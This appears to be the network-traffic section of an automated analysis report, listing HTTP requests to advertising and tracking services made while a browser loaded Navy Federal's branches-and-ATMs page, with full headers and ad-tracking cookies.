Source: global traffic	HTTP traffic detected: GET /activityi;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRgBIAEoAjILCMS1iLXBk_48EAU4AVoHYmx1ZWthaWACIf-None-Match: "a60a4e2650f94da6f243b9518761b381"If-Modified-Since: Mon, 20 May 2024 07:02:23 GMT
Source: global traffic	HTTP traffic detected: GET /merge?pid=2&3pid=4F23F6C2C1D4438DAA81302CEEAB3C45&dnr=1 HTTP/1.1Host: ce.lijit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=Itj2AQZHhmzcC7uXTQ2fVYvm; _ljtrtb_2=4F23F6C2C1D4438DAA81302CEEAB3C45
Source: global traffic	HTTP traffic detected: GET /map/ct=y/c=7625/tp=SIMP/tpid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: bcp.crwdcntrl.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_dc=1; _cc_id=4a2dde82d52488666744df68c3746eec
Source: global traffic	HTTP traffic detected: GET /setuid?entity=66&code=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=6116765264039870456; anj=dTM7k!M4.FE:2jUF']wIg2E?d?=+XZ!A#FB.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nylZyN0kLd><f=kW*g0D(GqO2P
Source: global traffic	HTTP traffic detected: GET /user?du=81&mimetype=img&csync=y-K6SCbq1E2pRP2h92iqx4jDlEC_oUpk6AQWo-~A HTTP/1.1Host: pbid.pro-market.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: anHistory="-z1ht4icc1y44+2+!#7')#]!>Ti"; anProfile="-z1ht4icc1y44+1+1f=1+1g=1+1j=57:1+rs=s+rt=082E7BAF+s2=(se0hwx)+vm=24-4F23F6C2C1D4438DAA81302CEEAB3C45:81-y-K6SCbq1E2pRP2h92iqx4jDlEC_oUpk6AQWo-%7EA"
Source: global traffic	HTTP traffic detected: GET /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1Host: navyfederalcu.tt.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?cc=1&id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
Source: global traffic	HTTP traffic detected: GET /activityi;dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
Source: global traffic	HTTP traffic detected: GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&rl=&if=false&ts=1716590775920&sw=1280&sh=1024&ud[external_id]=f0aa0b0ef2b818c452fbde7009d5d8692892d6ec679ef95b21188aec41c50366&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590775564&coo=false&dpo=&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, trigger;navigation-sourceReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: trigger, event-source;navigation-sourceReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /ddm/activity/src=9749892;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&rl=&if=false&ts=1716590775920&sw=1280&sh=1024&ud[external_id]=f0aa0b0ef2b818c452fbde7009d5d8692892d6ec679ef95b21188aec41c50366&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590775564&coo=false&dpo=&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source=navigation-source, triggerReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iu3?d=generic&ex-fargs=%3Fid%3D6cb2375c-3341-8cb2-b12d-8b0616d5966e%26type%3D55%26m%3D1&ex-fch=416613&ex-src=https://www.navyfederal.org/&ex-hargs=v%3D1.0%3Bc%3D7933585099447%3Bp%3D6CB2375C-3341-8CB2-B12D-8B0616D5966E&cb=755192992926268200 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRgBIAEoAjILCMS1iLXBk_48EAU4AVoHYmx1ZWthaWAC
Source: global traffic	HTTP traffic detected: GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZEc2tUWnRQdjcxZ2g5UzZMWUFFVE1Kb2FWa2ZsZXdhdEY0blBnbG5tZ0tRQnIyOXJndUQ1bndzRWpUd0c2VEtzV3diUHdISEt0OURnQllyZEJXU2Yrd0o1T0FaMHRFeC9vZEtXa0lQQm9qbz0mckIrUExJZUtpTHRIaXl4bUR6djhjUUhTNXVvPQ=="
Source: global traffic	HTTP traffic detected: GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1Host: ct.pinterest.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZEc2tUWnRQdjcxZ2g5UzZMWUFFVE1Kb2FWa2ZsZXdhdEY0blBnbG5tZ0tRQnIyOXJndUQ1bndzRWpUd0c2VEtzV3diUHdISEt0OURnQllyZEJXU2Yrd0o1T0FaMHRFeC9vZEtXa0lQQm9qbz0mckIrUExJZUtpTHRIaXl4bUR6djhjUUhTNXVvPQ=="
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /engagement/js?goalId=15654&cb=1716590777960 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
Source: global traffic	HTTP traffic detected: GET /sifitag/601005f1-638d-45e3-9d29-e04168bb80b3 HTTP/1.1Host: tag.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iu3?d=generic&ex-fargs=%3Fid%3D6cb2375c-3341-8cb2-b12d-8b0616d5966e%26type%3D55%26m%3D1&ex-fch=416613&ex-src=https://www.navyfederal.org/&ex-hargs=v%3D1.0%3Bc%3D7933585099447%3Bp%3D6CB2375C-3341-8CB2-B12D-8B0616D5966E&cb=755192992926268200&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw\|t
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"If-None-Match: "a60a4e2650f94da6f243b9518761b381"If-Modified-Since: Mon, 20 May 2024 07:02:23 GMTsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRgBIAEoAjILCMS1iLXBk_48EAU4AVoHYmx1ZWthaWAC
